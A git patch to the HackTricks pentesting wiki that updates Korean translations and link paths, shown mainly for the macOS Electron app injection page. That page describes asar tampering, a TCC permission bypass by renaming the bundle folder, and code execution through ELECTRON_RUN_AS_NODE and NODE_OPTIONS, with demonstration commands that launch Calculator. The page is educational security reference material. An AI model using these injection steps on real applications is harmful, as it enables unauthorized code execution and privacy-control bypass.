From 00a7df57d39b77739364f8a3a4d68411f790896f Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 11 Jan 2025 18:54:06 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- src/SUMMARY.md | 8 +- .../macos-electron-applications-injection.md | 52 ++++----- .../113-pentesting-ident.md | 14 +-- .../137-138-139-pentesting-netbios.md | 14 +-- ...21-1522-1529-pentesting-oracle-listener.md | 6 +- .../README.md | 6 +- .../43-pentesting-whois.md | 8 +- .../5439-pentesting-redshift.md | 2 +- .../5985-5986-pentesting-winrm.md | 28 ++--- .../nfs-service-pentesting.md | 20 ++-- .../pentesting-dns.md | 37 +++--- .../pentesting-ftp/README.md | 14 +-- .../pentesting-imap.md | 20 ++-- .../pentesting-kerberos-88/README.md | 8 +- .../pentesting-ldap.md | 38 +++--- .../README.md | 46 ++++---- .../pentesting-mysql.md | 28 ++--- .../pentesting-ntp.md | 14 ++- .../pentesting-pop.md | 12 +- .../pentesting-rdp.md | 25 ++-- .../pentesting-rpcbind.md | 12 +- .../pentesting-smb.md | 66 +++++------ .../pentesting-smb/README.md | 48 ++++---- .../pentesting-smtp/README.md | 74 ++++++------ .../pentesting-snmp/README.md | 47 ++++---- .../pentesting-telnet.md | 6 +- .../pentesting-web/README.md | 90 +++++++------- .../pentesting-web/angular.md | 66 +++++------ .../pentesting-web/buckets/README.md | 2 +- .../buckets/firebase-database.md | 4 +- src/pentesting-web/file-upload/README.md | 62 +++++----- .../oauth-to-account-takeover.md | 66 +++++------ .../other-js-tricks.md | 18 +-- src/todo/cookies-policy.md | 50 ++++---- src/welcome/hacktricks-values-and-faq.md | 66 +++++------ .../active-directory-methodology/README.md | 110 +++++++++--------- .../lateral-movement/README.md | 8 +- 37 files changed, 600 insertions(+), 595 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fb3efcc74..60a9a9df7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -289,7 +289,7 @@ - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) -- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() +- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]() - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) @@ -692,9 +692,9 @@ # โ›ˆ๏ธ Cloud Security -- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() -- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() -- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() +- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]() +- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]() +- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]() # ๐Ÿ˜Ž Hardware/Physical Access diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 721731b54..8d634e289 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,18 +4,18 @@ ## Basic Information -Electron์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด [**์—ฌ๊ธฐ์—์„œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). ํ•˜์ง€๋งŒ ์ง€๊ธˆ์€ Electron์ด **node**๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ๋งŒ ์•Œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.\ -๊ทธ๋ฆฌ๊ณ  node์—๋Š” ์ง€์ •๋œ ํŒŒ์ผ ์™ธ์— **๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **๋งค๊ฐœ๋ณ€์ˆ˜**์™€ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด [**์—ฌ๊ธฐ์—์„œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). ํ•˜์ง€๋งŒ ์ง€๊ธˆ์€ Electron์ด **node**๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ๋งŒ ์•Œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.\ +๊ทธ๋ฆฌ๊ณ  node์—๋Š” **์ง€์ •๋œ ํŒŒ์ผ** ์™ธ์— **๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **๋งค๊ฐœ๋ณ€์ˆ˜**์™€ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ### Electron Fuses -์ด ๊ธฐ์ˆ ๋“ค์€ ๋‹ค์Œ์— ๋…ผ์˜๋  ๊ฒƒ์ด์ง€๋งŒ, ์ตœ๊ทผ Electron์€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ **๋ณด์•ˆ ํ”Œ๋ž˜๊ทธ**๋ฅผ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)์ด๋ฉฐ, ์ด๋Š” macOS์—์„œ Electron ์•ฑ์ด **์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: +์ด ๊ธฐ์ˆ ๋“ค์€ ๋‹ค์Œ์— ๋…ผ์˜๋  ๊ฒƒ์ด์ง€๋งŒ, ์ตœ๊ทผ Electron์€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ **๋ณด์•ˆ ํ”Œ๋ž˜๊ทธ**๋ฅผ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ๋ฐ”๋กœ [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)์ด๋ฉฐ, ์ด๋Š” macOS์—์„œ Electron ์•ฑ์ด **์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: - **`RunAsNode`**: ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ์ฝ”๋“œ ์ฃผ์ž…์„ ์œ„ํ•œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **`ELECTRON_RUN_AS_NODE`**์˜ ์‚ฌ์šฉ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. -- **`EnableNodeCliInspectArguments`**: ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด `--inspect`, `--inspect-brk`์™€ ๊ฐ™์€ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์กด์ค‘๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ ์ฃผ์ž…์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **`EnableEmbeddedAsarIntegrityValidation`**: ํ™œ์„ฑํ™”๋˜๋ฉด ๋กœ๋“œ๋œ **`asar`** **ํŒŒ์ผ**์ด macOS์— ์˜ํ•ด **๊ฒ€์ฆ**๋ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•˜์—ฌ **์ฝ”๋“œ ์ฃผ์ž…**์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. +- **`EnableNodeCliInspectArguments`**: ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด `--inspect`, `--inspect-brk`์™€ ๊ฐ™์€ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ ์ฃผ์ž…์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`EnableEmbeddedAsarIntegrityValidation`**: ํ™œ์„ฑํ™”๋˜๋ฉด ๋กœ๋“œ๋œ **`asar`** **ํŒŒ์ผ**์ด macOS์— ์˜ํ•ด **๊ฒ€์ฆ**๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•˜์—ฌ **์ฝ”๋“œ ์ฃผ์ž…**์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. - **`OnlyLoadAppFromAsar`**: ์ด ์˜ต์…˜์ด ํ™œ์„ฑํ™”๋˜๋ฉด ๋‹ค์Œ ์ˆœ์„œ๋กœ ๋กœ๋“œํ•˜๋Š” ๋Œ€์‹ : **`app.asar`**, **`app`** ๋ฐ ๋งˆ์ง€๋ง‰์œผ๋กœ **`default_app.asar`**. ์˜ค์ง app.asar๋งŒ ํ™•์ธํ•˜๊ณ  ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, **`embeddedAsarIntegrityValidation`** ํ“จ์ฆˆ์™€ ๊ฒฐํ•ฉํ•  ๋•Œ **๊ฒ€์ฆ๋˜์ง€ ์•Š์€ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅ**ํ•ฉ๋‹ˆ๋‹ค. -- **`LoadBrowserProcessSpecificV8Snapshot`**: ํ™œ์„ฑํ™”๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœ์„ธ์Šค๋Š” `browser_v8_context_snapshot.bin`์ด๋ผ๋Š” ํŒŒ์ผ์„ V8 ์Šค๋ƒ…์ƒท์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +- **`LoadBrowserProcessSpecificV8Snapshot`**: ํ™œ์„ฑํ™”๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœ์„ธ์Šค๋Š” V8 ์Šค๋ƒ…์ƒท์„ ์œ„ํ•ด `browser_v8_context_snapshot.bin`์ด๋ผ๋Š” ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ ์ฃผ์ž…์„ ๋ฐฉ์ง€ํ•˜์ง€ ์•Š๋Š” ๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ํ“จ์ฆˆ๋Š”: @@ -23,7 +23,7 @@ Electron์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด [**์—ฌ๊ธฐ์—์„œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์„ ### Checking Electron Fuses -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ **์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: ```bash npx @electron/fuses read --app /Applications/Slack.app @@ -39,44 +39,44 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Electron ํ“จ์ฆˆ ์ˆ˜์ • -[**๋ฌธ์„œ์—์„œ ์–ธ๊ธ‰ํ•œ ๋ฐ”์™€ ๊ฐ™์ด**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron ํ“จ์ฆˆ**์˜ ๊ตฌ์„ฑ์€ **Electron ๋ฐ”์ด๋„ˆ๋ฆฌ** ๋‚ด๋ถ€์— ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ทธ ์•ˆ์—๋Š” ๋ฌธ์ž์—ด **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +As the [**docs mention**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), the configuration of the **Electron Fuses** are configured inside the **Electron binary** which contains somewhere the string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. -macOS ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`์— ์žˆ์Šต๋‹ˆ๋‹ค. +In macOS applications this is typically in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -์ด ํŒŒ์ผ์„ [https://hexed.it/](https://hexed.it/)์—์„œ ๋กœ๋“œํ•˜๊ณ  ์ด์ „ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ž์—ด ๋‹ค์Œ์— ASCII๋กœ "0" ๋˜๋Š” "1"์ด๋ผ๋Š” ์ˆซ์ž๊ฐ€ ํ‘œ์‹œ๋˜์–ด ๊ฐ ํ“จ์ฆˆ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€ ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ํ—ฅ์Šค ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ(`0x30`์€ `0`์ด๊ณ  `0x31`์€ `1`) **ํ“จ์ฆˆ ๊ฐ’์„ ์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ํŒŒ์ผ์„ [https://hexed.it/](https://hexed.it/)์—์„œ ์—ด๊ณ  ์ด์ „ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ž์—ด ๋’ค์—๋Š” ๊ฐ ํ“จ์ฆˆ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€ ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ASCII ์ˆซ์ž "0" ๋˜๋Š” "1"์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ํ—ฅ์Šค ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ(`0x30`์€ `0`์ด๊ณ  `0x31`์€ `1`) **ํ“จ์ฆˆ ๊ฐ’์„ ์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
-์ด ๋ฐ”์ดํŠธ๊ฐ€ ์ˆ˜์ •๋œ ์ƒํƒœ์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์˜ **`Electron Framework`** ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ **๋ฎ์–ด์“ฐ๋ ค๊ณ ** ํ•˜๋ฉด ์•ฑ์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. +**`Electron Framework`** ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ด๋Ÿฌํ•œ ๋ฐ”์ดํŠธ๋กœ ์ˆ˜์ •ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ **๋ฎ์–ด์“ฐ๋ ค** ํ•˜๋ฉด ์•ฑ์ด ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ## RCE ์ „์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ฝ”๋“œ ์ถ”๊ฐ€ -Electron ์•ฑ์ด ์‚ฌ์šฉํ•˜๋Š” **์™ธ๋ถ€ JS/HTML ํŒŒ์ผ**์ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ ํŒŒ์ผ์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ช…์ด ํ™•์ธ๋˜์ง€ ์•Š๊ณ  ์•ฑ์˜ ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron ์•ฑ์ด ์‚ฌ์šฉํ•˜๋Š” **์™ธ๋ถ€ JS/HTML ํŒŒ์ผ**์ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ ํŒŒ์ผ์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ช…์ด ํ™•์ธ๋˜์ง€ ์•Š๊ณ  ์•ฑ์˜ ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. > [!CAUTION] -> ๊ทธ๋Ÿฌ๋‚˜ ํ˜„์žฌ 2๊ฐ€์ง€ ์ œํ•œ ์‚ฌํ•ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค: +> ๊ทธ๋Ÿฌ๋‚˜ ํ˜„์žฌ ๋‘ ๊ฐ€์ง€ ์ œํ•œ ์‚ฌํ•ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค: > > - ์•ฑ์„ ์ˆ˜์ •ํ•˜๋ ค๋ฉด **`kTCCServiceSystemPolicyAppBundles`** ๊ถŒํ•œ์ด **ํ•„์š”**ํ•˜๋ฏ€๋กœ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋” ์ด์ƒ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -> - ์ปดํŒŒ์ผ๋œ **`asap`** ํŒŒ์ผ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ํ“จ์ฆˆ **`embeddedAsarIntegrityValidation`** `๋ฐ` **`onlyLoadAppFromAsar`**๊ฐ€ `ํ™œ์„ฑํ™”`๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +> - ์ปดํŒŒ์ผ๋œ **`asap`** ํŒŒ์ผ์€ ์ผ๋ฐ˜์ ์œผ๋กœ **`embeddedAsarIntegrityValidation`** `๋ฐ` **`onlyLoadAppFromAsar`**๊ฐ€ **ํ™œ์„ฑํ™”**๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. > -> ์ด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ๋” ๋ณต์žกํ•˜๊ฒŒ(๋˜๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฒŒ) ๋งŒ๋“ญ๋‹ˆ๋‹ค. +> ์ด๋กœ ์ธํ•ด ์ด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๊ฐ€ ๋” ๋ณต์žกํ•ด์ง€๊ฑฐ๋‚˜ ๋ถˆ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. -**`kTCCServiceSystemPolicyAppBundles`** ์š”๊ตฌ ์‚ฌํ•ญ์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‹ค๋ฅธ ๋””๋ ‰ํ† ๋ฆฌ(์˜ˆ: **`/tmp`**)๋กœ ๋ณต์‚ฌํ•˜๊ณ , ํด๋” **`app.app/Contents`**์˜ ์ด๋ฆ„์„ **`app.app/NotCon`**์œผ๋กœ ๋ณ€๊ฒฝํ•œ ํ›„, **์•…์„ฑ** ์ฝ”๋“œ๋กœ **asar** ํŒŒ์ผ์„ **์ˆ˜์ •**ํ•˜๊ณ  ๋‹ค์‹œ **`app.app/Contents`**๋กœ ์ด๋ฆ„์„ ๋ฐ”๊พผ ํ›„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**`kTCCServiceSystemPolicyAppBundles`** ์š”๊ตฌ ์‚ฌํ•ญ์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‹ค๋ฅธ ๋””๋ ‰ํ† ๋ฆฌ(์˜ˆ: **`/tmp`**)๋กœ ๋ณต์‚ฌํ•˜๊ณ  ํด๋” **`app.app/Contents`**์˜ ์ด๋ฆ„์„ **`app.app/NotCon`**์œผ๋กœ ๋ณ€๊ฒฝํ•œ ๋‹ค์Œ, **์•…์„ฑ** ์ฝ”๋“œ๋กœ **asar** ํŒŒ์ผ์„ **์ˆ˜์ •**ํ•˜๊ณ  ๋‹ค์‹œ **`app.app/Contents`**๋กœ ์ด๋ฆ„์„ ๋ฐ”๊พผ ํ›„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ asar ํŒŒ์ผ์—์„œ ์ฝ”๋“œ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash npx asar extract app.asar app-decomp ``` -๊ทธ๋ฆฌ๊ณ  ์ˆ˜์ •ํ•œ ํ›„ ๋‹ค์‹œ ํŒจํ‚นํ•ฉ๋‹ˆ๋‹ค: +๊ทธ๋ฆฌ๊ณ  ์ˆ˜์ •ํ•œ ํ›„ ๋‹ค์‹œ ํŒจํ‚นํ•˜์‹ญ์‹œ์˜ค: ```bash npx asar pack app-decomp app-new.asar ``` ## RCE with `ELECTRON_RUN_AS_NODE` -[**๋ฌธ์„œ**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)์— ๋”ฐ๋ฅด๋ฉด, ์ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์„ค์ •๋˜๋ฉด ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ผ๋ฐ˜ Node.js ํ”„๋กœ์„ธ์Šค๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. +[**๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ์ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์„ค์ •๋˜๋ฉด ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ผ๋ฐ˜ Node.js ํ”„๋กœ์„ธ์Šค๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord @@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> ๋งŒ์•ฝ ํ“จ์ฆˆ **`RunAsNode`**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด env var **`ELECTRON_RUN_AS_NODE`**๋Š” ๋ฌด์‹œ๋˜๋ฉฐ, ์ด ๋ฐฉ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +> ๋งŒ์•ฝ fuse **`RunAsNode`**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด env var **`ELECTRON_RUN_AS_NODE`**๋Š” ๋ฌด์‹œ๋˜๋ฉฐ, ์ด ๋ฐฉ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ### ์•ฑ Plist์—์„œ์˜ ์ฃผ์ž… @@ -123,9 +123,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> ๋งŒ์•ฝ ํ“จ์ฆˆ **`EnableNodeOptionsEnvironmentVariable`** ๊ฐ€ **๋น„ํ™œ์„ฑํ™”** ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์€ env ๋ณ€์ˆ˜ **NODE_OPTIONS** ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‹คํ–‰๋˜๋ฉฐ, env ๋ณ€์ˆ˜ **`ELECTRON_RUN_AS_NODE`** ๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š๋Š” ํ•œ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. ํ“จ์ฆˆ **`RunAsNode`** ๊ฐ€ ๋น„ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด ๋ณ€์ˆ˜๋„ **๋ฌด์‹œ** ๋ฉ๋‹ˆ๋‹ค. +> ๋งŒ์•ฝ ํ“จ์ฆˆ **`EnableNodeOptionsEnvironmentVariable`** ๊ฐ€ **๋น„ํ™œ์„ฑํ™”** ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์€ env ๋ณ€์ˆ˜ **NODE_OPTIONS** ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋‹จ, env ๋ณ€์ˆ˜ **`ELECTRON_RUN_AS_NODE`** ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด, ํ“จ์ฆˆ **`RunAsNode`** ๊ฐ€ ๋น„ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ์—๋„ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. > -> **`ELECTRON_RUN_AS_NODE`** ๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ **์˜ค๋ฅ˜** ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` +> **`ELECTRON_RUN_AS_NODE`** ๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ **์˜ค๋ฅ˜**๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` ### ์•ฑ Plist์—์„œ์˜ ์ฃผ์ž… @@ -147,7 +147,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di ``` ## RCE with inspecting -[**์ด๊ฒƒ**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)์— ๋”ฐ๋ฅด๋ฉด, 